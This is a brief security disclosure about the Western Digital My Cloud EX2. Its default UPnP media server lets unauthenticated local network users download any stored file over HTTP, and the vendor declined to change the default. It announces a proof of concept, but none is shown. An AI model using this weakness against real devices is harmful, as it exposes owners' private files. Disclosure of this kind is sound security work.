Western Digital's My Cloud is a popular storage/backup device that lets users backup and store important documents, photos and media files. Unfortunately the default configuration of a new My Cloud EX2 drive allows any unauthenticated local network user to grab any files from the device using HTTP requests. This is due to a UPnP media server that is automatically started when the device is powered on. By default, unauthenticated users can grab any files from the device completely bypassing any permissions or restrictions set by the owner or administrator.
Here is small proof-of-concept with explanation of each step:

Unfortunately, WD declined to fix this insecure default setting. Instead they recommend that users follow this knowledge base article to turn off DLNA "if they do not wish to utilize the product feature."
